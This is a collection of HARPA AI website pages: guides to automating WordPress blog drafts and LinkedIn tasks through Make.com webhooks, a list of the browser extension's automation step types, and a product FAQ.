[\#](https://harpa.ai/grid/wordpress-1-click-post-draft#3-steps-how-to-set-up-your-workflow) 3 Steps How to Set Up Your Workflow --------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#configuring-ai-command-in-harpa-(~2-min):) Configuring AI Command in HARPA (~2 min): 1. Import the [Autopost to WordPress in 1 Сlick](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) command to your HARPA. 2. Open HARPA on any webpage, find & run the command to complete the one-time setup: ### [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#make.com-template-configuration-(~2-min):) Make.com Template Configuration (~2 min): 1. Copy a ready-made [Make.com Scenario Template](https://eu1.make.com/templates/13922?templatePublicId=13922) 2. In the first module, you'll need to create a webhook for your HARPA where data will be sent, and copy the URL into HARPA. ![](https://harpa.ai/img/grid/wordpress-1-click-post-01.webp) Don't worry if you accidentally closed the command or entered incorrect data. Simply run the command again and select the "CHANGE WEBHOOK URL" option. ![](https://harpa.ai/img/grid/wordpress-1-click-post-02.webp) ### [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#wordpress-module-configuration-(~3-5-min)) WordPress Module Configuration (~3-5 min) * Activate the Make.com Connector plugin: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Go to the plugin on your WordPress page (bottom left corner), copy the API key: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Paste the API key into Make.com. The REST API base URL is your website with '_/wp-json/_' at the end, for example: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * The WordPress module includes default settings, but we recommend manual setup if you've customized the JSON format. Simply run the first module and your AI command in any browser window to send test data. Review the results and drag the generated fields into your preferred cells. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) The standard setup makes Drafts. To publish posts right away, change the "Status" field in the WordPress module. ![](https://harpa.ai/img/grid/wordpress-1-click-post-03.webp) Once you configure the scenario, remember to set the run frequency - in this case, it makes sense to set the scenario to run "**Immediately as data arrives**". ![](https://harpa.ai/img/grid/wordpress-1-click-post-04.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) If you have any problems, please contact us at: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/grid/wordpress-1-click-post-draft#test-your-1-click-wordpress-automation) Test Your 1-Click WordPress Automation --------------------------------------------------------------------------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) We suggest setting GPT-o3-mini, Claude 3.7 Sonnet, or similar models as your default connection in HARPA, as these models handle long text generation effectively. ![](https://harpa.ai/img/grid/wordpress-1-click-post-05.webp) 1. Make sure your scenario in Make.com or another automation platform is ready to receive data via Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-06.webp) 2. Find the content you'd like to use as the basis for your Blog Post. This can be any webpage with text or a YouTube video. 3. Find and run the AI Command we set up - click **Start**. The AI will analyze the content, create an Outline, then write a structured blog post in the required format and send it via Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-07.webp) 4. Go to the posts section where you'll find a new draft with your post ready for publishing. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/wordpress-daily-content-automation) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/boost-space-connection-guide) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for LinkedIn [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/linkedin.svg) ChatGPT for LinkedIn ==================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-linkedin#chatgpt-for-linkedin)  ChatGPT for LinkedIn ------------------------------------------------------------------------------------------ LinkedIn is a social networking platform that is widely used for professional networking and job searching. You can integrate ChatGPT with LinkedIn web service using HARPA.AI, a free AI-powered Chrome Extension. HARPA.AI provides a set of page-aware AI commands for LinkedIn users, looking to enhance their profile, get hired, or build their professional network: ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Job interview coach Warm up before job interview. Assess your qualifications for specific job. Chat with a GPT-HR-specialist, identify your strengths and weaknesses. Take a quick aptitude test to measure suitability. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Recruiter outreach DM on LinkedIn Craft 3 compelling DMs to recruiters on LinkedIn. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) LinkedIn connection request Creates a personalized connection request note for the target person. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Resume cover letter Write a tailor cover letter to any job based on your CV. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Resume reviewer Let AI review and improve your CV before submitting it. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Resume suggestions Paste in your resume: work experience and education. I will suggest a list of improvements. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Resume improver Paste in your resume: work experience and education. I will edit your resume for clarity, content, format and grammar. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Job announcement Create a compelling LinkedIn post to announce a job opening. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Job description writer Create clear and detailed job descriptions. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/linkedin.svg) Job eligibility checker Find out if a given CV fits the Job Description. [USE COMMAND](https://get.harpa.ai/) ### [##](https://harpa.ai/case/chatgpt-for-linkedin#how-to-use-chatgpt-with-linkedin)  How to Use ChatGPT with LinkedIn To use ChatGPT with LinkedIn, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the LinkedIn website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/linkedin** to HARPA chat to bring a list of ChatGPT prompts for LinkedIn. ### [##](https://harpa.ai/case/chatgpt-for-linkedin#enhancing-your-linkedin-profile-with-chatgpt)  Enhancing Your LinkedIn Profile with ChatGPT Here is an overview of what HARPA.AI ChatGPT prompts for LinkedIn can do for you: * **Resume Improvement**: The AI algorithms can suggest changes to a LinkedIn user’s resume to make it more appealing to potential employers. * **Post Generation**: HARPA.AI can generate LinkedIn posts and suggest hashtags to increase engagement and visibility. * **Virtual Job Interviews**: HARPA.AI provides instant answers to interview questions, helping users prepare for tough interviews. * **Professional DMs and Replies**: HARPA can assist in writing professional DMs and replies, making it easier to connect with others on LinkedIn. ChatGPT is a valuable tool for LinkedIn users looking to enhance their profile, get hired, or build their professional network. With its ChatGPT-powered features, HARPA.AI is the perfect solution for those looking to take their LinkedIn presence to the next level. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Collect Automation Action Results in Make.com [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Collect Automation Action Results in Make.com ============================================= CONTENTS [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) comes with a **On Action Result** trigger module. HARPA GRID is capable of sending automation results (e.g. scrapped page content) back to Make.com scenarios via Webhooks. This module is a great starting point for your workflow and is used to reliably pair two Web Automations together. For example, you can have one scenario scrape data from a website and write a blog post, and then send it to another Make.com scenario via **On Action Result Webhook** for publishing via a WordPress site editor. ### [\#](https://harpa.ai/grid/module-on-action-result#how-to-setup-on-action-result-webhook-in-make.com) How to Setup On Action Result Webhook in Make.com Make sure you completed the [GRID Setup Steps](https://harpa.ai/grid/make-com-harpa-grid-setup-basics) . Then: 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "**+**" and add a **HARPA: On Action Result** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-2.webp) 3. Click "**Create a Webhook**" 4. Name it, for example **Data from HARPA AI**, and save. ![](https://harpa.ai/img/grid/harpa-grid-make-com-3.webp) 5. Open HARPA AI in any tab and select a pre-made Command or create a new one. You can find many useful commands in the [Commands Library](https://harpa.ai/library) , like the [LinkedIn Profile Scraper](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) , which extracts public data from a LinkedIn user's profile page - this can be helpful for HR or lead generation tasks. Import and edit this command in HARPA - we will add a webhook there. 6. Add a new **REQUEST** step at the end of your command. ![](https://harpa.ai/img/grid/harpa-grid-make-com-4.webp) 7. Copy a Webhook URL from Make.com scenario there. Then specify a parameter name (in our case: **profile**) that will be interpreted as a command result and sent to Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-5.webp) 8. Save your command. 9. Click **Run once** in Make.com to start accepting data from HARPA Node. ![](https://harpa.ai/img/grid/harpa-grid-make-com-6.webp) 10. Finally, run your command in HARPA. Check the results - you should get a JSON data array that you can use later, for example, to store user data in Google Sheets. We cover these in our Make.com Use-Cases Guides. ![](https://harpa.ai/img/grid/harpa-grid-make-com-7.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/module-scrape-web-page) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-on-web-monitor) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | No-Cost Wordpress Blog Automation [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) No-Cost Wordpress Blog Automation ================================= CONTENTS ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Great News! If you post up to ~250 posts per month, you can run the AI Scenario within the Free Make.com Plan, which gives you 1k Ops/month. Read in: [🇪🇸 Spanish](https://harpa.ai/blog/no-cost-wordpress-automation-spanish) [🇮🇹 Italian](https://harpa.ai/blog/no-cost-wordpress-automation-italian) [🇵🇹 Portuguese](https://harpa.ai/blog/no-cost-wordpress-automation-portuguese) [\#](https://harpa.ai/grid/wordpress-daily-content-automation#scenario-features) Scenario Features --------------------------------------------------------------------------------------------------- This scenario automates content posting to your WordPress website, collecting article links from Google Sheets that you want to outrank and post, requiring only minimal 10-minute setup. To use it, simply add useful article or YouTube video links to a Google Sheet. The script will run at set intervals (e.g., daily or every 5 hours), pick an unprocessed article, rewrite it, and post it to your WordPress blog or website. This lets you automate daily content publishing without needing regular involvement in the process. ### [\#](https://harpa.ai/grid/wordpress-daily-content-automation#pre-built-templates:) Pre-built templates: * [Google Sheet Template](https://docs.google.com/spreadsheets/d/1z0SbkzbNLP8Rz8tYKlGdlnUV_Dwgx7b-ApKncXNWS4Q/edit?usp=sharing) * [AI Command](https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1) * [Make.com Template](https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13927) ### [\#](https://harpa.ai/grid/wordpress-daily-content-automation#requirements:) Requirements: Complete the basic HARPA & Make.com setup: * Sign up for Make.com. * Set up an active [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . * Configure the [HARPA API Connection](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#harpa-api-connection) in Make.com. [\#](https://harpa.ai/grid/wordpress-daily-content-automation#how-to-set-up-your-auto-blogging-scenario) How to Set Up Your Auto-Blogging Scenario --------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/wordpress-daily-content-automation#configuring-ai-command-in-harpa-(~3-min):) Configuring AI Command in HARPA (~3 min): 1. Import the [WordPress Blog Writer](https://harpa.ai/library/word-press-blog-writer/67c052c183301be3e7101ef1) command to your HARPA. 2. Open HARPA on any webpage, run the command and click "SETTINGS" to configure the JSON format appropriate for your WordPress configuration (e.g., some sites have FAQ fields, some have Q&As fields and other features; the command includes a default option): ![](https://harpa.ai/img/grid/wordpress-autoblogging-01.webp) You can also customize the Style instruction by specifying the desired number of headings or other text features you want to see in the result. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) We suggest setting GPT-o3-mini, Claude 3.7 Sonnet, or similar models as your default connection in HARPA, as these models handle long text generation effectively. ![](https://harpa.ai/img/grid/wordpress-autoblogging-02.webp) ### [\#](https://harpa.ai/grid/wordpress-daily-content-automation#ready-made-template-configuration-(~3-5-min):) Ready-made Template Configuration (~3-5 min): 1. Copy the [Google Sheets template](https://docs.google.com/spreadsheets/d/1z0SbkzbNLP8Rz8tYKlGdlnUV_Dwgx7b-ApKncXNWS4Q/edit?usp=sharing) to your Google Drive to set up your Make.com scenario faster. If needed, you can quickly customize the spreadsheet to fit your specific requirements. 2. Copy a ready-made template: [https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13848](https://make.com/en/integration/13848-daily-wordpress-blogging-automate-your-posts-with-google-sheets-harpa?templatePublicId=13927) 3. Follow the guided setup to quickly configure all key settings. ### [\#](https://harpa.ai/grid/wordpress-daily-content-automation#wordpress-module-configuration-(~3-5-min):) WordPress Module Configuration (~3-5 min): The WordPress module comes with default settings, but manual setup is recommended since each resource has different site structure. In our example, we're creating a text body, URL slug, h1 title, and FAQ section. **How to connect to your WordPress:** * Activate the Make.com Connector plugin: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Go to the plugin on your WordPress page (bottom left corner), copy the API key: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Paste the API key into Make.com. The REST API base URL is your website with '_/wp-json/_' at the end, for example: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * You will see default parameters taken from the HARPA: Run AI Command step. If you customized the AI command, simply run the scenario to get the Command Run result and drag the generated fields into your desired cells. For example: ![](https://harpa.ai/img/grid/wordpress-autoblogging-06.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) The standard setup makes Drafts. To publish posts right away, change the "Status" field in the WordPress module. ![](https://harpa.ai/img/grid/wordpress-autoblogging-09.webp) Once you configure the scenario, remember to set the run frequency in Make.com so it regularly checks for new links you've sent to Google Sheets. ![](https://harpa.ai/img/grid/wordpress-autoblogging-07.webp) Set a convenient frequency for the AI scenario to run and add article links to Google Sheets. The script will automatically fetch new links and process them, creating drafts in your WordPress blog. ![](https://harpa.ai/img/grid/wordpress-autoblogging-08.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) If you have any problems, please contact us at: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/grid/wordpress-daily-content-automation#what-do-i-get-as-a-result-of-this-ai-scenario?) What do I get as a result of this AI scenario? ------------------------------------------------------------------------------------------------------------------------------------------------------------- You get drafts or published posts either daily or according to whatever schedule you set up during configuration. ![](https://harpa.ai/img/grid/wordpress-autoblogging-10.webp) Once you add a link to Google Sheets, Make.com will send a task to HARPA during the next execution cycle, and it will write a post. This way, you can add unlimited articles to Sheets without worrying about creating blog content for your website. However, don't forget to run the AI command separately to write your specific instructions, such as defining what writing style should be used. ![](https://harpa.ai/img/grid/wordpress-autoblogging-01.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/wordpress-1-click-post-draft) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automation Steps [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Automation Steps ================ CONTENTS [\#](https://harpa.ai/chatml/automation-steps#automation-steps) Automation Steps --------------------------------------------------------------------------------- Every command in HARPA is a sequence of _automation steps_ that are run one by one. And each step is designed to perform a single function. HARPA offers 10+ automation step types that can be used in creating custom commands, and the list grows release to release. To add a step to your custom command, press **ADD STEP** button: ![](https://harpa.ai/img/chatml/steps-1.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) If you are new to Custom Commands, focus on SAY, ASK, GPT steps first. Then pick the step type to create and add to your new command: * [SAY, ASK, GPT](https://harpa.ai/chatml/steps-say-ask-gpt) - these steps are used to send messages to chat, ask for parameter values, and send AI requests. * [NAVIGATE](https://harpa.ai/chatml/steps-navigate) - navigates opened tab to a specific URL. * [WAIT](https://harpa.ai/chatml/steps-wait) - pauses command execution until page stops updating, text or element appears on the page, JavaScript function returns true, or a timeout in milliseconds is reached. * [REQUEST](https://harpa.ai/chatml/steps-request) - sends data to a Webhook, calls remote API or fetches web page HTML. * [CLICK, PASTE, SCROLL](https://harpa.ai/chatml/steps-click-paste-scroll) - click page elements and insert text into page forms and inputs. * [EXTRACT](https://harpa.ai/chatml/steps-extract) - retrieves content of web elements on page. * [GROUP, LOOP, JUMP](https://harpa.ai/chatml/steps-group-loop-jump) - group steps together, loop over data items and control command flow. * [RUN JS](https://harpa.ai/chatml/steps-run-js) - runs JavaScript code in scope of the opened web page. * [COMMAND](https://harpa.ai/chatml/steps-command) - calls other commands; allows building higher-order commands. * [CLEAR, STOP](https://harpa.ai/chatml/steps-clear-stop) - erase chat history or terminate current command. * [CALC](https://harpa.ai/chatml/steps-calc) - sets or modifies parameter values, merges lists, extracts data. Most steps support labels, conditions and silencing: * When silenced, steps will not print messages to chat. * When labeled, steps can be jumped to using JUMP step. * When conditioned, steps will only run if the condition is met. The next [guide](https://harpa.ai/chatml/steps-say-ask-gpt) dives into the basic AI automation steps: SAY, ASK, GPT. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/parameters) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/steps-say-ask-gpt) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automation Frame Automation Frame ================ HARPA.AI runs tasks in this frame You can hide or close this window. If closed, it will be recreated the next time HARPA is scheduled to run your watchers and automations. Close frame if no tasks running ![background triangle element](https://harpa.ai/img/misc/triangle.svg)![background triangle element](https://harpa.ai/img/misc/triangle.svg) F.A.Q. ------ ![](https://harpa.ai/img/icons/annotation-question.svg) What is HARPA AI? ----------------- HARPA AI is a browser extension, powered by hybrid AI-engine that combines ChatGPT, Gemini, ClaudeAI, Perplexity, DeepSeek with Web Automation. Read the [Get Started Guide](https://harpa.ai/guides) to find out more. ![](https://harpa.ai/img/icons/annotation-question.svg) What is it used for? -------------------- HARPA automates your copywriting, email management, web search, online data extraction and web monitoring tasks. It is used to quickly write and reply to emails, post comments and DMs, summarise and “talk to” web pages, YouTube videos, PDF documents, extract and research SEO keywords, create SMM content plans and Midjourney prompts, automate form filling, write blog articles, review CVs, job offers and legal documents, plan trips, track competitors, prices and SERP pages, create learning plans, search for information and more. ![](https://harpa.ai/img/icons/target-04.svg) What makes HARPA different? --------------------------- HARPA can read, understand and act upon web page content. It can navigate, click and extract data from web pages, run it through Large Language Models, paste back to websites or trigger IFTTT chains such as Zapier and Integromat. Ultimate copilot and AI Agent for your web browsing, search and automation tasks. It provides access to AI on any website, and you can use HARPA with almost every web service or online app. ![](https://harpa.ai/img/icons/coins-04.svg) Is HARPA free? -------------- HARPA has a basic free tier and a demo period for it's premium features. You can try the app before making an informed purchase. Basic **S** plan starts with **$12 per month** paid annually, includes CloudGPT connection, cloud command storage, chat history [and more](https://harpa.ai/pricing) . ![](https://harpa.ai/img/icons/cpu-chip-01.svg) Is HARPA CPU-intensive? ----------------------- HARPA is optimized for speed and performance and does not use CPU when it has no tasks to run. You can also limit the number of automations that are run simultaneously in the HARPA app settings. ![](https://harpa.ai/img/icons/announcement-01.svg) What HARPA stands for? ---------------------- HARPA stands for High Availability Robotic Process Automation. HARPA is designed to bridge the gap between AI and Automation and serve as your virtual assistant and a digital workforce for your business. ![](https://harpa.ai/img/icons/star-06.svg) Do I need to have an OpenAI account? ------------------------------------ Generative AI features require connection to AI service providers. You can use HARPA with ChatGPT account, OpenAI API key, ClaudeAI, Google Gemini, OpenRouter and API keys. You can also connect to our CloudGPT on S plan. ![](https://harpa.ai/img/icons/star-06.svg) How to create ChatGPT account? ------------------------------ Step 1: Navigate to the [ChatGPT login page](https://chatgpt.com/auth/login) . Click Sign Up button. ChatGPT offers three options for new user registration: * With email address. * With your Google account. Click the Continue with Google account option, and enter your Google account password to complete the process. * With your Microsoft account. Click the Continue with Microsoft account button, enter your password, and complete the sign-up process. Choose the appropriate option and create the account. ChatGPT will send a verification email to the registered email address. Step 2: Open your email account and verify your email address by clicking the Verify Email Address button and enter your full name. Step 3: Enter your phone number. ChatGPT will send a verification code to your phone number. Verify it by typing the code in the space provided. Finally, your ChatGPT account is ready to use! ![](https://harpa.ai/img/icons/star-06.svg) How to get access to GPT-5.4? ----------------------------- HARPA CloudGPT supports GPT-5.4 model. Please [upgrade to S plan](https://harpa.ai/pricing) to get access to GPT-5.4. Alternatively, GPT-5.4 comes with ChatGPT Plus. It is limited by OpenAI's per-session rate limits. GPT-5.4 is also available for OpenAI API accounts. To upgrade to ChatGPT Plus: * Log in to your OpenAI account. * Click "Upgrade to Plus" in the left menu. * Select the ChatGPT Plus upgrade plan. * Enter your bank details and set up a recurring payment of $20/month. * Click "Continue to ChatGPT Plus." To create OpenAI account and generate a key, navigate to [openai.com](https://openai.com/) ![](https://harpa.ai/img/icons/star-06.svg) How to switch the GPT version and model? ---------------------------------------- Locate GPT connection button below the Chat window. You might need to expand the control panel by clicking the "triangle" button. Select a GPT connection and model in the screen that appears. Alternatively, type **\-3** in chat and press Enter to switch model to an efficient model, **\-4** to switch to a premium model, **\-c** to switch to Claude, etc. ![](https://harpa.ai/img/icons/shield-tick.svg) How does HARPA ensure privacy and data security? ------------------------------------------------ HARPA is privacy-centered. It runs on your computer, does not send or store website data on remote servers, only performs the tasks you have asked it to. We do not show ads or sell your data. GPT prompts you enter to HARPA are transparently sent to OpenAI, Google or ClaudeAI servers for processing and not stored on our servers. [Privacy Policy](https://harpa.ai/privacy) ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA does not open on a web page? -------------------------------------- HARPA does not work with Google Sheets yet. Some domains e.g. Discord may require you to disable fingerprint protection on Brave and Edge. Click HARPA icon in the browser toolbar, instead of pressing Alt+A. If the HARPA popup does not appear: 1. Right click HARPA icon in the browser toolbar. Make sure "This Can Read and Change Site Data" option is set to "On all sites". 2. uBlock may prevent HARPA from loading on some websites. Try turning it off for the web page. 3. If you are on **Chrome**: * Navigate to chrome://settings/content/popups * Add your domain to Allow list. 4. If you are on **Brave**: * Navigate to brave://settings/shields * Either deactivate “Prevent sites from fingerprinting me based on my language preferences” option, or deactivate Brave Shields for your domain, e.g. Discord. 5. If you are on **Edge**: * Navigate to edge://settings/content/ads * Either deactivate "Intrusive Ads" block or add your domain to Allow list. If nothing helps, navigate to chrome://extensions, disable HARPA, quit and restart your browser, and turn HARPA back in. ![](https://harpa.ai/img/icons/check-health.svg) Why do I get CRX\_FILE\_NOT\_READABLE error? -------------------------------------------- This error may occur if: 1. You downloaded a CRX file and installing it manually. CRX files downloaded online may be broken or insecure. We recommend installing HARPA from the official Chrome Web Store. 2. You are using NordVPN with the "THREAT PROTECT" is ON. Turn it OFF while installing HARPA extension. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA chats are not showing up in ChatGPT? ---------------------------------------------- You can see 🧬  chats in chatgpt.com if you're on a Browser Session connection. If you don’t want your dialogues to be cleared automatically whenever a tab is closed, you can change this in the App Settings. ![](https://harpa.ai/img/icons/check-health.svg) Why HARPA says there is no video transcript? -------------------------------------------- If a YouTube video is fresh or has a low number of views, it may not have a transcript available. If you are using uBlock Origin, turn it off while running HARPA or add a rule to allow XHR requests on YouTube. ![](https://harpa.ai/img/icons/target-04.svg) Can HARPA generate blog outlines and articles? ---------------------------------------------- Yes, HARPA has an extensive library of copywriting prompts, can generate and refine short and long articles in 18 writing styles and can mimic yours. ![](https://harpa.ai/img/icons/tool-02.svg) How to turn off the bar that pops up when I select text? -------------------------------------------------------- Please click the settings (”gear”) button in the app and uncheck the box next to “Show floating quick-access bar”. ![](https://harpa.ai/img/icons/tool-02.svg) Which API connection is better than Browser Session? ---------------------------------------------------- HARPA S plan comes with CloudGPT, which is the most reliable, fastest and non country restricted GPT connection. You can also use CloudGPT or OpenAI keys with HARPA with an additional 